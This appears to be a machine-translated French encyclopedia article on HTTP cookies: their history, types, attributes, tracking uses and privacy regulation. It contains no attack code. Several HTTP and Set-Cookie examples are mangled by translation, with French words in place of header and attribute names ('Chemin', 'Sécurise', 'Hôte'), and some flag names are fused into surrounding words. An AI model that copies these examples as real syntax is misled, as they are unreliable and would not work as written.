Cookie HTTP

Les cookies HTTP (également appelés cookies Web , cookies Internet , cookies de navigateur ou simplement cookies ) sont de petits blocs de données créés par un serveur Web lorsqu’un utilisateur navigue sur un site Web et placés sur l’ordinateur ou un autre appareil de l’utilisateur par le navigateur Web de l’utilisateur . Les cookies sont placés sur l’appareil utilisé pour accéder à un site Web, et plusieurs cookies peuvent être placés sur l’appareil d’un utilisateur au cours d’une session.

Les cookies remplissent des fonctions utiles et parfois essentielles sur le Web . Ils permettent aux serveurs Web de stocker des informations avec état (telles que les articles ajoutés au panier dans une boutique en ligne ) sur l’appareil de l’utilisateur ou de suivre l’activité de navigation de l’utilisateur (notamment en cliquant sur des boutons particuliers, en se connectant ou en enregistrant les pages visitées dans le passé ). ^[1] Ils peuvent également être utilisés pour enregistrer pour une utilisation ultérieure des informations que l’utilisateur a précédemment saisies dans des champs de formulaire , telles que des noms, des adresses, des mots de passe et des numéros de carte de paiement .

Les cookies d’authentification sont couramment utilisés par les serveurs Web pour authentifier qu’un utilisateur est connecté et avec quel compte il est connecté. Sans le cookie, les utilisateurs devraient s’authentifier en se connectant sur chaque page contenant des informations sensibles auxquelles ils souhaitent accéder. . La sécurité d’un cookie d’authentification dépend généralement de la sécurité du site Web émetteur et du navigateur Web de l’utilisateur , et du fait que les données du cookie sont cryptées ou non . Des failles de sécurité peuvent permettre à un attaquant de lire les données d’un cookie , utilisées pour accéder aux données de l’utilisateur, ou utilisé pour accéder (avec les informations d’identification de l’utilisateur) au site Web auquel appartient le cookie (voir script intersite et falsification de demande intersite pour des exemples). ^[2]

Les cookies de suivi , et en particulier les cookies de suivi tiers , sont couramment utilisés pour compiler des enregistrements à long terme des historiques de navigation des individus – un problème potentiel de confidentialité qui a incité les législateurs européens ^[3] et américains à prendre des mesures en 2011. ^{[4] [5]} La législation européenne exige que tous les sites Web ciblant les États membres de l’Union européenne obtiennent le « consentement éclairé » des utilisateurs avant de stocker des cookies non essentiels sur leur appareil.

Arrière-plan

Les cookies HTTP partagent leur nom avec une pâtisserie populaire .

Origine du nom

Le terme “cookie” a été inventé par le programmeur de navigateur Web Lou Montulli . Il est dérivé du terme ” cookie magique “, qui est un paquet de données qu’un programme reçoit et renvoie tel quel, utilisé par les programmeurs Unix . ^{[6] [7]} Le terme cookie magique lui-même dérive du fortune cookie , qui est un cookie avec un message intégré. ^[8]

Histoire

Les cookies magiques étaient déjà utilisés en informatique lorsque le programmeur informatique Lou Montulli eut l’idée de les utiliser dans les communications Web en juin 1994. ^[9] À l’époque, il était employé de Netscape Communications , qui développait une application de commerce électronique pour MCI . . Vint Cerf et John Klensin ont représenté MCI lors de discussions techniques avec Netscape Communications. MCI ne voulait pas que ses serveurs aient à conserver des états de transaction partiels, ce qui les a amenés à demander à Netscape de trouver un moyen de stocker cet état dans l’ordinateur de chaque utilisateur à la place. Les cookies ont fourni une solution au problème de la mise en œuvre fiable d’un panier d’achat virtuel .^{[10] [11]}

Avec John Giannandrea, Montulli a écrit la spécification initiale des cookies Netscape la même année. La version 0.9beta de Mosaic Netscape , publiée le 13 octobre 1994, ^{[12] [13]} prenait en charge les cookies. ^[14] La première utilisation de cookies (hors des laboratoires) consistait à vérifier si les visiteurs du site Web de Netscape avaient déjà visité le site. Montulli a obtenu un brevet pour la technologie des cookies en 1995. ^[15] La prise en charge des cookies a été intégrée à Internet Explorer dans la version 2, publiée en octobre 1995. ^[16]

L’introduction des cookies n’était pas largement connue du public à l’époque. En particulier, les cookies étaient acceptés par défaut, et les utilisateurs n’étaient pas avertis de leur présence. Le public a appris l’existence des cookies après que le Financial Times a publié un article à leur sujet le 12 février 1996. ^[17] La ​​même année, les cookies ont reçu beaucoup d’attention des médias, notamment en raison des implications potentielles pour la vie privée. Les cookies ont été discutés lors de deux audiences de la Federal Trade Commission des États-Unis en 1996 et 1997. ^[2]

Le développement des spécifications formelles des cookies était déjà en cours. En particulier, les premières discussions sur une spécification formelle ont commencé en avril 1995 sur la liste de diffusion www-talk . Un groupe de travail spécial au sein de l’ Internet Engineering Task Force (IETF) a été formé. Deux propositions alternatives pour introduire l’état dans les transactions HTTP avaient été proposées par Brian Behlendorfet David Kristol respectivement. Mais le groupe, dirigé par Kristol lui-même et Lou Montulli, a rapidement décidé d’utiliser la spécification Netscape comme point de départ. En février 1996, le groupe de travail a identifié les cookies tiers comme une menace considérable pour la vie privée. La spécification produite par le groupe a finalement été publiée sous le nom de RFC 2109 en février 1997. Elle précise que les cookies tiers n’étaient soit pas du tout autorisés, soit du moins pas activés par défaut. ^[18]

A cette époque, les régies publicitaires utilisaient déjà des cookies tiers. La recommandation sur les cookies tiers de la RFC 2109 n’a pas été suivie par Netscape et Internet Explorer. La RFC 2109 a été remplacée par la RFC 2965 en octobre 2000.

La RFC 2965 a ajouté un Set-Cookie2 champ d’en-tête , appelé de manière informelle “cookies de style RFC 2965”, par opposition au Set-Cookiechamp d’en-tête d’origine appelé “cookies de style Netscape”. ^{[19] [20]} Set-Cookie2 a été rarement utilisé, cependant, et a été déprécié dans la RFC 6265 en avril 2011, qui a été rédigée comme une spécification définitive pour les cookies tels qu’ils sont utilisés dans le monde réel. ^[21] Aucun navigateur moderne ne reconnaît le Set-Cookie2champ d’en-tête. ^[22]

Terminologie

Cette section a besoin de citations supplémentaires pour vérification . ( août 2011 ) Please help improve this article by adding citations to reliable sources. Unsourced material may be challenged and removed. (Learn how and when to remove this template message)

Cookie de session

Un cookie de session (également appelé cookie en mémoire , cookie transitoire ou cookie non persistant ) n’existe que dans la mémoire temporaire pendant que l’utilisateur navigue sur un site Web. ^[23] Les cookies de session expirent ou sont supprimés lorsque l’utilisateur ferme le navigateur Web. ^[24] Les cookies de session sont identifiés par le navigateur par l’absence de date d’expiration qui leur est attribuée.

Cookie persistant

Un cookie persistant expire à une date spécifique ou après une durée spécifique. Pendant la durée de vie du cookie persistant définie par son créateur, ses informations seront transmises au serveur chaque fois que l’utilisateur visitera le site Web auquel il appartient, ou chaque fois que l’utilisateur consultera une ressource appartenant à ce site Web à partir d’un autre site Web (comme une publicité ).

Pour cette raison, les cookies persistants sont parfois appelés cookies de suivi car ils peuvent être utilisés par les annonceurs pour enregistrer des informations sur les habitudes de navigation d’un utilisateur sur une longue période. Cependant, ils sont également utilisés pour des raisons “légitimes” (comme garder les utilisateurs connectés à leurs comptes sur les sites Web, pour éviter de ressaisir les identifiants de connexion à chaque visite).

Cookie sécurisé

Un cookie sécurisé ne peut être transmis que via une connexion cryptée (c’est-à-dire HTTPS ). Ils ne peuvent pas être transmis sur des connexions non chiffrées (c’est-à-dire HTTP ). Cela rend le cookie moins susceptible d’être exposé au vol de cookies via l’ écoute clandestine . Un cookie est sécurisé en ajoutant le Securedrapeau au cookie.

Cookie HTTP uniquement

Un cookie HTTP uniquement n’est pas accessible aux API côté client, telles que JavaScript . Cette restriction élimine la menace de vol de cookies via le cross-site scripting (XSS). Cependant, le cookie reste vulnérable aux attaques de traçage intersite (XST) et de falsification de requête intersite (CSRF). Un cookie reçoit cette caractéristique en ajoutant le HttpOnlydrapeau au cookie.

Cookie du même site

En 2016 , la version 51 de Google Chrome a introduit ^[25] un nouveau type de cookie avec l’attribut SameSite. L’attribut SameSitepeut avoir une valeur Strictde Laxou None. ^[26] Avec l’attribut SameSite=Strict, les navigateurs n’enverraient des cookies qu’à un domaine cible identique au domaine d’origine. Cela atténuerait efficacement les attaques de falsification de requête intersite (CSRF). ^[27] Avec SameSite=Lax, les navigateurs enverraient des cookies avec des requêtes à un domaine cible même s’il est différent du domaine d’origine, mais uniquement pour des requêtes sûres telles que GET (POST n’est pas sûr) et non des cookies tiers (à l’intérieur de l’iframe). AttributSameSite=Noneautoriserait les cookies tiers (intersites), cependant, la plupart des navigateurs nécessitent un attribut sécurisé sur les cookies SameSite=None. ^[28]

Le cookie Same-site est incorporé dans un nouveau brouillon de RFC pour “Cookies : HTTP State Management Mechanism” afin de mettre à jour la RFC 6265 (si elle est approuvée).

Chrome, Firefox, Microsoft Edge ont tous commencé à prendre en charge les cookies du même site. ^[29] La clé du déploiement est le traitement des cookies existants sans l’attribut SameSite défini, Chrome a traité ces cookies existants comme si SameSite=None, cela permettrait à tous les sites Web/applications de fonctionner comme avant. Google avait l’intention de changer cette valeur par défaut en SameSite=Lax en février 2020, ^[30] la modification casserait les applications/sites Web qui s’appuient sur des cookies tiers/intersites, mais sans que l’attribut SameSite soit défini. Compte tenu des changements importants pour les développeurs Web et des circonstances liées au COVID-19 , Google a temporairement annulé le changement de cookie SameSite. ^[31]

Cookie tiers

Normalement, l’attribut de domaine d’un cookie correspondra au domaine affiché dans la barre d’adresse du navigateur Web. C’est ce qu’on appelle un cookie propriétaire . Un cookie tiers , cependant, appartient à un domaine différent de celui affiché dans la barre d’adresse. Ce type de cookie apparaît généralement lorsque les pages Web présentent du contenu provenant de sites Web externes, tels que des bannières publicitaires . Cela ouvre la possibilité de suivre l’historique de navigation de l’utilisateur et est souvent utilisé par les annonceurs dans le but de proposer des publicités pertinentes à chaque utilisateur.

Par exemple, supposons qu’un utilisateur visite www.example.org. Ce site Web contient une publicité de ad.foxytracking.com, qui, lorsqu’elle est téléchargée, définit un cookie appartenant au domaine de la publicité ( ad.foxytracking.com). Ensuite, l’utilisateur visite un autre site Web, www.foo.com, qui contient également une publicité ad.foxytracking.comet définit un cookie appartenant à ce domaine ( ad.foxytracking.com). A terme, ces deux cookies seront envoyés à l’annonceur lors du chargement de ses publicités ou de la visite de son site internet. L’annonceur peut ensuite utiliser ces cookies pour créer un historique de navigation de l’utilisateur sur tous les sites Web qui ont des annonces de cet annonceur, grâce à l’utilisation du champ d’en-tête de référence HTTP .

En 2014 ^[update], certains sites Web installaient des cookies lisibles pour plus de 100 domaines tiers. ^[32] En moyenne, un seul site Web installait 10 cookies, avec un nombre maximum de cookies (premiers et tiers) atteignant plus de 800. ^[33]

La plupart des navigateurs Web modernes contiennent des paramètres de confidentialité qui peuvent bloquer les cookies tiers, et certains bloquent désormais tous les cookies tiers par défaut – depuis juillet 2020, ces navigateurs incluent Apple Safari , ^[34] Firefox , ^[35] et Brave . ^[36] Safari permet aux sites intégrés d’utiliser l’API d’accès au stockage pour demander l’autorisation de définir des cookies propriétaires. En mai 2020, Google Chrome a introduit de nouvelles fonctionnalités pour bloquer par défaut les cookies tiers dans son mode Incognito pour la navigation privée, rendant le blocage facultatif lors de la navigation normale. La même mise à jour a également ajouté une option pour bloquer les cookies propriétaires. ^[37]Chrome prévoit de commencer à bloquer les cookies tiers par défaut en 2023. ^[38]

Supercookie

Un supercookie est un cookie dont l’origine est un domaine de premier niveau (tel que .com) ou un suffixe public (tel que .co.uk). Les cookies ordinaires, en revanche, ont pour origine un nom de domaine spécifique, tel que example.com.

Les supercookies peuvent constituer un problème de sécurité potentiel et sont donc souvent bloqués par les navigateurs Web. S’il est débloqué par le navigateur, un attaquant contrôlant un site Web malveillant pourrait définir un super cookie et potentiellement perturber ou usurper l’identité des demandes d’utilisateurs légitimes vers un autre site Web qui partage le même domaine de premier niveau ou le même suffixe public que le site Web malveillant. Par exemple, un supercookie dont l’origine est .com, pourrait affecter de manière malveillante une demande adressée à example.com, même si le cookie ne provient pas de example.com. Cela peut être utilisé pour falsifier les connexions ou modifier les informations de l’utilisateur.

La liste des suffixes publics ^[39] aide à atténuer le risque que posent les supercookies. La liste des suffixes publics est une initiative multi-fournisseurs qui vise à fournir une liste précise et à jour des suffixes de noms de domaine. Les versions plus anciennes des navigateurs peuvent ne pas avoir de liste à jour et seront donc vulnérables aux supercookies de certains domaines.

Autres utilisations

Le terme “supercookie” est parfois utilisé pour les technologies de suivi qui ne reposent pas sur les cookies HTTP. Deux de ces mécanismes de “supercookie” ont été trouvés sur les sites Web de Microsoft en août 2011 : la synchronisation des cookies qui a réapparu les cookies MUID (identifiant unique de la machine) et les cookies ETag . ^[40] En raison de l’attention des médias, Microsoft a ensuite désactivé ce code. ^[41] Dans un article de blog de 2021, Mozilla a utilisé le terme “supercookie” pour désigner l’utilisation du cache du navigateur (voir ci-dessous) comme moyen de suivre les utilisateurs sur les sites. ^[42]

Biscuit zombie

Un cookie zombie est une donnée et un code qui ont été placés par un serveur Web sur l’ordinateur ou un autre appareil d’un visiteur dans un emplacement caché en dehors de l’ emplacement de stockage dédié aux cookies du navigateur Web du visiteur , et qui recrée automatiquement un cookie HTTP en tant que cookie normal après le cookie d’origine a été supprimé. Le cookie zombie peut être stocké à plusieurs emplacements, tels que l’objet partagé Flash Local , le stockage Web HTML5 et d’autres emplacements côté client et même côté serveur, et lorsque l’absence du cookie est détectée, ^{[ clarification nécessaire ]} le cookie est recréé ^{[ clarification nécessaire ]}en utilisant les données stockées dans ces emplacements. ^{[43] [44]}

Mur de cookies

Un mur de cookies apparaît sur un site Web et informe l’utilisateur de l’utilisation des cookies du site Web. Il n’a pas d’option de rejet et le site Web n’est pas accessible sans cookies de suivi.

Structure

Un cookie comprend les composants suivants : ^{[45] [46] [47]}

1. Nom
2. Valeur
3. Zéro ou plusieurs attributs ( paires nom/valeur ). Les attributs stockent des informations telles que l’expiration du cookie, le domaine et les indicateurs (tels que Secureet HttpOnly).

Les usages

Gestion des sessions

Les cookies ont été introduits à l’origine pour permettre aux utilisateurs d’enregistrer les articles qu’ils souhaitent acheter lorsqu’ils naviguent sur un site Web (un “panier” virtuel ou un “panier d’achat”). ^{[10] [11]} Aujourd’hui, cependant, le contenu du panier d’achat d’un utilisateur est généralement stocké dans une base de données sur le serveur, plutôt que dans un cookie sur le client. Pour garder une trace de quel utilisateur est affecté à quel panier, le serveur envoie un cookie au client qui contient un identifiant de session unique(généralement, une longue chaîne de lettres et de chiffres aléatoires). Étant donné que les cookies sont envoyés au serveur à chaque demande du client, cet identifiant de session sera renvoyé au serveur chaque fois que l’utilisateur visitera une nouvelle page du site Web, ce qui permettra au serveur de savoir quel panier afficher à l’utilisateur.

Une autre utilisation courante des cookies est la connexion à des sites Web. Lorsque l’utilisateur visite la page de connexion d’un site Web, le serveur Web envoie généralement au client un cookie contenant un identifiant de session unique. Lorsque l’utilisateur se connecte avec succès, le serveur se souvient que cet identifiant de session particulier a été authentifié et accorde à l’utilisateur l’accès à ses services.

Étant donné que les cookies de session ne contiennent qu’un identifiant de session unique, cela rend la quantité d’informations personnelles qu’un site Web peut enregistrer sur chaque utilisateur pratiquement illimitée – le site Web n’est pas limité aux restrictions concernant la taille d’un cookie. Les cookies de session contribuent également à améliorer les temps de chargement des pages, car la quantité d’informations dans un cookie de session est faible et nécessite peu de bande passante.

Personnalisation

Les cookies peuvent être utilisés pour mémoriser des informations sur l’utilisateur afin de montrer un contenu pertinent à cet utilisateur au fil du temps. Par exemple, un serveur Web peut envoyer un cookie contenant le nom d’utilisateur qui a été utilisé pour la dernière fois pour se connecter à un site Web, afin qu’il puisse être rempli automatiquement la prochaine fois que l’utilisateur se connecte.

De nombreux sites Web utilisent des cookies pour la personnalisation en fonction des préférences de l’utilisateur. Les utilisateurs sélectionnent leurs préférences en les saisissant dans un formulaire Web et en soumettant le formulaire au serveur. Le serveur encode les préférences dans un cookie et renvoie le cookie au navigateur. Ainsi, chaque fois que l’utilisateur accède à une page du site Web, le serveur peut personnaliser la page en fonction des préférences de l’utilisateur. Par exemple, le moteur de recherche Google utilisait autrefois des cookies pour permettre aux utilisateurs (même non enregistrés) de décider du nombre de résultats de recherche par page qu’ils souhaitaient voir. En outre, DuckDuckGo utilise des cookies pour permettre aux utilisateurs de définir les préférences d’affichage telles que les couleurs de la page Web.

Suivi

Les cookies de suivi sont utilisés pour suivre les habitudes de navigation des utilisateurs sur le Web. Cela peut également être fait dans une certaine mesure en utilisant l’ adresse IP de l’ordinateur demandant la page ou le champ référent de l’en-tête de la requête HTTP , mais les cookies permettent une plus grande précision. Ceci peut être démontré comme suit :

1. Si l’utilisateur demande une page du site, mais que la demande ne contient pas de cookie, le serveur présume qu’il s’agit de la première page visitée par l’utilisateur. Ainsi, le serveur crée un identifiant unique (généralement une chaîne de lettres et de chiffres aléatoires) et le renvoie sous forme de cookie au navigateur avec la page demandée.
2. A partir de ce moment, le cookie sera automatiquement envoyé par le navigateur au serveur chaque fois qu’une nouvelle page du site sera demandée. Le serveur envoie non seulement la page comme d’habitude, mais stocke également l’URL de la page demandée, la date/heure de la demande et le cookie dans un fichier journal.

En analysant ce fichier journal, il est alors possible de savoir quelles pages l’utilisateur a visitées, dans quel ordre et pendant combien de temps.

Les entreprises exploitent les habitudes Web des utilisateurs en suivant les cookies pour collecter des informations sur les habitudes d’achat. Le Wall Street Journal a constaté que les cinquante principaux sites Web américains ont installé en moyenne soixante-quatre éléments de technologie de suivi sur les ordinateurs, ce qui a donné un total de 3 180 fichiers de suivi. ^[48] ​​Les données peuvent ensuite être collectées et vendues à des sociétés soumissionnaires.

Mise en œuvre

Interaction possible entre un navigateur Web et un serveur Web contenant une page Web dans laquelle le serveur envoie un cookie au navigateur et le navigateur le renvoie lorsqu’il demande une autre page.

Les cookies sont des éléments de données arbitraires, généralement choisis et d’abord envoyés par le serveur Web, et stockés sur l’ordinateur client par le navigateur Web. Le navigateur les renvoie ensuite au serveur avec chaque requête, introduisant des états (mémoire des événements précédents) dans des transactions HTTP autrement sans état. Sans cookies, chaque récupération d’une page Web ou d’un composant d’une page Web serait un événement isolé, largement sans rapport avec toutes les autres pages vues par l’utilisateur sur le site Web. Bien que les cookies soient généralement définis par le serveur Web, ils peuvent également être définis par le client à l’aide d’un langage de script tel que JavaScript (sauf si l’ HttpOnlyindicateur du cookie est défini, auquel cas le cookie ne peut pas être modifié par les langages de script).

Les spécifications relatives aux cookies ^{[49] [50]} exigent que les navigateurs satisfassent aux exigences suivantes afin de prendre en charge les cookies :

• Peut prendre en charge des cookies d’une taille maximale de 4 096 octets .
• Peut prendre en charge au moins 50 cookies par domaine (c’est-à-dire par site Web).
• Peut prendre en charge au moins 3 000 cookies au total.

Paramétrage d’un cookie

Les cookies sont définis à l’aide du Set-Cookie champ d’en-tête , envoyé dans une réponse HTTP du serveur Web. Ce champ d’en-tête indique au navigateur Web de stocker le cookie et de le renvoyer dans les demandes futures au serveur (le navigateur ignorera ce champ d’en-tête s’il ne prend pas en charge les cookies ou s’il a désactivé les cookies).

Par exemple, le navigateur envoie sa première requête HTTP pour la page d’accueil du www.example.orgsite :

GET /index.html Hôte HTTP / 1.1 : www.exemple.org …

Le serveur répond avec deux Set-Cookiechamps d’en-tête :

HTTP / 1.0 200 OK Type de contenu : text/html Set-Cookie : theme=light Set-Cookie : sessionToken=abc123; Expire=mer. 09 juin 2021 10:18:14 GMT …

La réponse HTTP du serveur contient le contenu de la page d’accueil du site Web. Mais il demande également au navigateur de définir deux cookies. Le premier, “thème”, est considéré comme un cookie de session car il n’a pas d’ attribut Expiresou . Max-AgeLes cookies de session sont destinés à être supprimés par le navigateur lorsque celui-ci se ferme. Le second, “sessionToken”, est considéré comme un cookie persistant car il contient un Expiresattribut qui demande au navigateur de supprimer le cookie à une date et une heure précises.

Ensuite, le navigateur envoie une autre demande pour visiter la spec.htmlpage du site Web. Cette requête contient un Cookiechamp d’en-tête, qui contient les deux cookies que le serveur a demandé au navigateur de définir :

GET /spec.html HTTP / 1.1 Host : www.example.org Cookie : theme=light; sessionToken=abc123 …

De cette façon, le serveur sait que cette requête HTTP est liée à la précédente. Le serveur répondrait en envoyant la page demandée, incluant éventuellement plus Set-Cookiede champs d’en-tête dans la réponse HTTP afin de demander au navigateur d’ajouter de nouveaux cookies, de modifier les cookies existants ou de supprimer les cookies existants. Pour supprimer un cookie, le serveur doit inclure un Set-Cookiechamp d’en-tête avec une date d’expiration dans le passé.

La valeur d’un cookie peut consister en n’importe quel caractère ASCII imprimable ( !à ~, Unicode u0021 à u007E) à l’exclusion des caractères ,and ;et whitespace . Le nom d’un cookie exclut les mêmes caractères, ainsi que =, puisque c’est le délimiteur entre le nom et la valeur. La norme cookie RFC 2965 est plus restrictive mais non implémentée par les navigateurs.

Le terme « chapelure de cookie » est parfois utilisé pour désigner la paire nom-valeur d’un cookie. ^[51]

Les cookies peuvent également être définis par des langages de script tels que JavaScript qui s’exécutent dans le navigateur. En JavaScript, l’objet document.cookieest utilisé à cette fin. Par exemple, l’instruction document.cookie = “temperature=20″crée un cookie de nom “température” et de valeur “20”. ^[52]

Attributs des cookies

En plus d’un nom et d’une valeur, les cookies peuvent également avoir un ou plusieurs attributs. Les navigateurs n’incluent pas les attributs de cookie dans les requêtes adressées au serveur. Ils envoient uniquement le nom et la valeur du cookie. Les attributs de cookie sont utilisés par les navigateurs pour déterminer quand supprimer un cookie, bloquer un cookie ou s’il faut envoyer un cookie au serveur.

Domaine et chemin

Les attributs Domainet définissent la portée du cookie. PathIls indiquent essentiellement au navigateur à quel site Web appartient le cookie. Pour des raisons de sécurité, les cookies ne peuvent être définis que sur le domaine supérieur de la ressource actuelle et ses sous-domaines, et non sur un autre domaine et ses sous-domaines. Par exemple, le site Web example.orgne peut pas définir un cookie qui a un domaine de foo.comcar cela permettrait au site Web example.orgde contrôler les cookies du domaine foo.com.

Si les cookies Domainet les Pathattributs ne sont pas spécifiés par le serveur, ils correspondent par défaut au domaine et au chemin de la ressource demandée. ^[53] Cependant, dans la plupart des navigateurs, il existe une différence entre un cookie défini foo.comsans domaine et un cookie défini avec le foo.comdomaine. Dans le premier cas, le cookie ne sera envoyé que pour les demandes adressées à foo.com, également connu sous le nom de cookie réservé à l’hôte. Dans ce dernier cas, tous les sous-domaines sont également inclus (par exemple, docs.foo.com). ^{[54] [55]} Une exception notable à cette règle générale est Edge avant Windows 10 RS3 et Internet Explorer avant IE 11 et Windows 10 RS4 (avril 2018), qui envoie toujours des cookies aux sous-domaines, que le cookie ait été défini ou non avec ou sans domaine.^[56]

Vous trouverez ci-dessous un exemple de certains Set-Cookiechamps d’en-tête dans la réponse HTTP d’un site Web après la connexion d’un utilisateur. La requête HTTP a été envoyée à une page Web du sous- docs.foo.comdomaine :

HTTP / 1.0 200 OK Set-Cookie : LSID=DQAAAK…Eaem_vYg; Chemin=/comptes ; Expire = mer. 13 janvier 2021 22:23:01 GMT ; Sécurise; HttpOnly Set-Cookie : HSID=AYQEVn…DKrdst ; Domaine=.foo.com ; Chemin=/; Expire = mer. 13 janvier 2021 22:23:01 GMT ; HttpOnly Set-Cookie : SSID=Ap4P…GTEq ; Domaine=foo.com ; Chemin=/; Expire = mer. 13 janvier 2021 22:23:01 GMT ; Sécurise; HTTP uniquement …

Le premier cookie, LSID, n’a pas d’ Domainattribut et a un Pathattribut défini sur /accounts. Cela indique au navigateur d’utiliser le cookie uniquement lors de la demande de pages contenues dans docs.foo.com/accounts(le domaine est dérivé du domaine de la demande). Les deux autres cookies, HSIDet SSID, seraient utilisés lorsque le navigateur demande n’importe quel sous-domaine .foo.comsur n’importe quel chemin (par exemple www.foo.com/bar). Le point préfixé est facultatif dans les normes récentes, mais peut être ajouté pour la compatibilité avec les implémentations basées sur la RFC 2109. ^[57]

Expire et Max-Age

L’ Expiresattribut définit une date et une heure spécifiques auxquelles le navigateur doit supprimer le cookie. La date et l’heure sont spécifiées sous la forme Wdy, DD Mon YYYY HH:MM:SS GMT, ou sous la forme Wdy, DD Mon YY HH:MM:SS GMTpour les valeurs de YY où YY est supérieur ou égal à 0 et inférieur ou égal à 69. ^[58]

Alternativement, l’ Max-Ageattribut peut être utilisé pour définir l’expiration du cookie comme un intervalle de secondes dans le futur, par rapport au moment où le navigateur a reçu le cookie. Vous trouverez ci-dessous un exemple de trois Set-Cookiechamps d’en-tête reçus d’un site Web après la connexion d’un utilisateur :

HTTP / 1.0 200 OK Set-Cookie : lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expire = mar. 15 janvier 2013 21:47:38 GMT ; Chemin=/; Domaine=.exemple.com ; HttpOnly Set-Cookie : made_write_conn=1295214458; Chemin=/; Domain=.example.com Set-Cookie : reg_fb_gate=supprimé ; Expire = jeu. 01 janvier 1970 00:00:01 GMT ; Chemin=/; Domaine=.exemple.com ; HttpOnly

Le premier cookie, lu, expirera le 15 janvier 2013. Il sera utilisé par le navigateur du client jusqu’à cette date. Le deuxième cookie, made_write_conn, n’a pas de date d’expiration, ce qui en fait un cookie de session. Il sera supprimé une fois que l’utilisateur aura fermé son navigateur. Le troisième cookie, reg_fb_gate, voit sa valeur changée en “supprimé”, avec une date d’expiration dans le passé. Le navigateur supprimera immédiatement ce cookie car son heure d’expiration est passée. Notez que le cookie ne sera supprimé que si les attributs de domaine et de chemin dans le Set-Cookiechamp correspondent aux valeurs utilisées lors de la création du cookie.

Depuis 2016 ^[update], Internet Explorer ne prend pas en charge Max-Age. ^{[59] [60]}

Sécurisé et HttpOnly

Les attributs Secureet HttpOnlyn’ont pas de valeurs associées. Au lieu de cela, la présence uniquement de leurs noms d’attributs indique que leurs comportements doivent être activés.

L’ Secureattribut est destiné à limiter la communication des cookies à une transmission cryptée, en demandant aux navigateurs d’utiliser les cookies uniquement via des connexions sécurisées/cryptées . Cependant, si un serveur Web définit un cookie avec un attribut sécurisé à partir d’une connexion non sécurisée, le cookie peut toujours être intercepté lorsqu’il est envoyé à l’utilisateur par des attaques man-in-the-middle . Par conséquent, pour une sécurité maximale, les cookies avec l’attribut Secure ne doivent être définis que sur une connexion sécurisée.

L’ HttpOnlyattribut indique aux navigateurs de ne pas exposer les cookies via des canaux autres que les requêtes HTTP (et HTTPS). Cela signifie que le cookie n’est pas accessible via les langages de script côté client (notamment JavaScript ), et ne peut donc pas être volé facilement via le cross-site scripting (une technique d’attaque pervasive). ^[61]

Paramètres du navigateur

La plupart des navigateurs modernes prennent en charge les cookies et permettent à l’utilisateur de les désactiver. Les options courantes sont les suivantes : ^[62]

• Pour activer ou désactiver complètement les cookies, afin qu’ils soient toujours acceptés ou toujours bloqués.
• Pour afficher et supprimer sélectivement les cookies à l’aide d’un gestionnaire de cookies.
• Pour effacer complètement toutes les données privées, y compris les cookies.

Des outils complémentaires pour la gestion des autorisations de cookies existent également. ^{[63] [64] [65] [66]}

Confidentialité et cookies tiers

Les cookies ont des implications importantes pour la confidentialité et l’anonymat des internautes. Bien que les cookies ne soient envoyés qu’au serveur qui les définit ou à un serveur du même Domaine Internet, une page Web peut contenir des images ou d’autres composants stockés sur des serveurs d’autres domaines. Les cookies qui sont définis lors de la récupération de ces composants sont appelés cookies tiers . Les anciennes normes pour les cookies, RFC 2109 et RFC 2965, précisent que les navigateurs doivent protéger la confidentialité des utilisateurs et ne pas autoriser le partage de cookies entre les serveurs par défaut. Cependant, la nouvelle norme, RFC 6265, permet explicitement aux agents utilisateurs d’implémenter la politique de cookies tiers de leur choix. La plupart des navigateurs, tels que Mozilla Firefox , Internet Explorer , Opera etGoogle Chrome autorise les cookies tiers par défaut, tant que le site Web tiers a publié une politique de confidentialité compacte . Les nouvelles versions de Safari bloquent les cookies tiers, et cela est également prévu pour Mozilla Firefox (initialement prévu pour la version 22 mais reporté indéfiniment). ^[67]

Dans cet exemple fictif, une agence de publicité a placé des bannières sur deux sites Web. En hébergeant les images des bannières sur ses serveurs et en utilisant des cookies tiers, la régie publicitaire est en mesure de suivre la navigation des utilisateurs sur ces deux sites.

Les agences de publicité utilisent des cookies tiers pour suivre un utilisateur sur plusieurs sites. En particulier, une agence de publicité peut suivre un utilisateur sur toutes les pages où elle a placé des images publicitaires ou des bugs Web . La connaissance des pages visitées par un utilisateur permet à la société de publicité de cibler les publicités sur les préférences présumées de l’utilisateur.

Les opérateurs de sites Web qui ne divulguent pas l’utilisation de cookies tiers aux consommateurs courent le risque de nuire à la confiance des consommateurs si l’utilisation de cookies est découverte. Avoir une divulgation claire (comme dans une politique de confidentialité ) tend à éliminer tout effet négatif de la découverte de tels cookies. ^[68]

La possibilité de créer un profil d’utilisateurs est une menace pour la vie privée, en particulier lorsque le suivi est effectué sur plusieurs domaines à l’aide de cookies tiers. Pour cette raison, certains pays ont une législation sur les cookies.

Le gouvernement des États-Unis a établi des règles strictes sur la configuration des cookies en 2000 après qu’il a été révélé que le bureau de la politique en matière de drogue de la Maison Blanche utilisait des cookies pour suivre les utilisateurs d’ordinateurs qui consultaient sa publicité anti-drogue en ligne. En 2002, le militant de la vie privée Daniel Brandt a découvert que la CIA avait laissé des cookies persistants sur les ordinateurs qui avaient visité son site Web. Lorsqu’elle a été informée qu’elle enfreignait la politique, la CIA a déclaré que ces cookies n’étaient pas intentionnellement définis et a cessé de les définir. Le 25 décembre 2005, Brandt a découvert que la National Security Agency (NSA) avait laissé deux cookies persistants sur les ordinateurs des visiteurs en raison d’une mise à niveau logicielle. Après en avoir été informée, la NSA a immédiatement désactivé les cookies. ^[69]

Directive européenne sur les cookies

En 2002, l’Union européenne a lancé la Directive sur la vie privée et les communications électroniques (directive e-Privacy), une politique exigeant le consentement des utilisateurs finaux pour le placement de cookies, et des technologies similaires pour stocker et accéder aux informations sur l’équipement des utilisateurs. ^{[70] [71]}En particulier, l’article 5, paragraphe 3, stipule que le stockage de données techniquement inutiles sur l’ordinateur d’un utilisateur ne peut être effectué que si l’utilisateur reçoit des informations sur la manière dont ces données sont utilisées, et l’utilisateur a la possibilité de refuser cette opération de stockage. La directive n’exige pas que les utilisateurs autorisent ou soient informés de l’utilisation des cookies qui sont fonctionnellement nécessaires pour fournir un service qu’ils ont demandé, par exemple pour conserver les paramètres, stocker les sessions de connexion ou se souvenir du contenu du panier d’achat d’un utilisateur. ^[72]

